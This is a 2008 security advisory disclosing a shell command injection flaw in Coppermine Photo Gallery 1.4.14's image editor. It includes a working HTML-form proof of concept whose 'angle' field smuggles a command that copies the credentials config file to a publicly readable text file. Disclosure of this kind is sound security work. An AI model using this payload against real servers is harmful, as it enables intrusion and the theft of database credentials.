[waraxe-2008-SA#065] - Remote Shell Command Execution in Coppermine 1.4.14


[waraxe-2008-SA#065] - Remote Shell Command Execution in Coppermine 1.4.14 =============================================================================== Author: Janek Vind "waraxe" Date: 30. January 2008 Location: Estonia, Tartu Web: http://www.waraxe.us/advisory-65.html Target software description: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Coppermine Photo Gallery is a multi-purpose fully-featured and integrated web picture gallery script written in PHP using GD or ImageMagick as image library with a MySQL backend. Coppermine Photo Gallery has been tested working well on IIS, Apache 1.3.24 onwards to the latest Apache 2, on Linux, UNIX, OSX, and Win32 systems. Vulnerabilities discovered =============================================================================== 1. Remote Shell Command Execution in "include/imageObjectIM.class.php" ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Preconditions: =============== a) ImageMagick must be set as picture processing method. Default Coppermine setting is GD, so many of the real-world Coppermine installations are probably not affected with this security issue. Impact =============== An attacker is able to execute arbitrary shell commands with the privileges of the web server process, such as user "nobody","apache" or "www". Caused by: =============== Unsanitized user-submitted POST variables "quality", "angle" and "clipval". Explanation: =============== Let's look at one of the ImageMagick wrapper functions: -------------------------------------- function rotateImage(&$angle){ ... $imgFile = escapeshellarg("$this->directory$this->filename"); ... $cmd = "{$CONFIG['impath']}convert -quality {$this->quality} {$CONFIG['im_options']} -rotate $angle $imgFile $imgFile"; exec ($cmd, $output, $retval); ------------------------------------- As we can see, "$angle" variable is used in command line string without sanitize. Now who is calling out this function? "picEditor.php" ~ line 123: ------------------------------------- ... $newimage = $_POST['newimage']; ... if ($newimage){ $imgObj = new imageObject($img_dir,$newimage); ... if ($imgObj->imgRes){ ... if ($_POST['angle']<>0){ $imgObj = $imgObj->rotateImage($_POST['angle']); } ------------------------------------- So if we deliver proper $_POST['newimage'] and ($_POST['angle'], then shell command injection seems to be possible ... And as it was not bad enough - this script is callable by anyone! No proper permissions check! So anyone in world can exploit this security hole and run arbitrary commands against webserver's operating system!! There are still some mitigating factors, which will decrease danger level of this security hole. a) ImageMagic method is not default and most Coppermine real-word installations are using GD. So this specific security hole has impact only, if IM is used. b) $_POST array goes through anti-XSS filter first and this makes exploiting little bit harder. But this of course can't stop determined attacker. Proof of concept? This simple html form: [------------- PoC start --------------------------------------------------] <html><body><center> <form action="http://victim.com/cpg1414/picEditor.php" method="post"> <input type="hidden" name="newimage" value="../../images/thumb_zip.jpg"> <input type="hidden" name="quality" value="50"> <input type="hidden" name="angle" value="180;cp include/config.inc.php include/secret.txt;"> <input type="submit" value="Test!"> </form> </center></body></html> [------------- PoC end ----------------------------------------------------] Form parameters must be set as needed. "newimage" must point to existing image file. "include" directory must be writable for current user. Result - config file with database credentials will be copied to plaintext file and sensitive data can be viewed after this by anyone just by pointing webbrowser to resulting text file. How to fix: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Download new Coppermine version 1.4.15 as soon as possible! Greetings: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Greets to ToXiC, LINUX, y3dips, Sm0ke, Heintz, slimjim100, koko, str0ke and anyone else who know me! Greetings to Raido Kerna. Tervitusi Torufoorumi rahvale! Contact: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ come2waraxe@yahoo.com Janek Vind "waraxe" Homepage: http://www.janekvind.com/ Waraxe forum: http://www.waraxe.us/forums.html ---------------------------------- [ EOF ] --------------------------------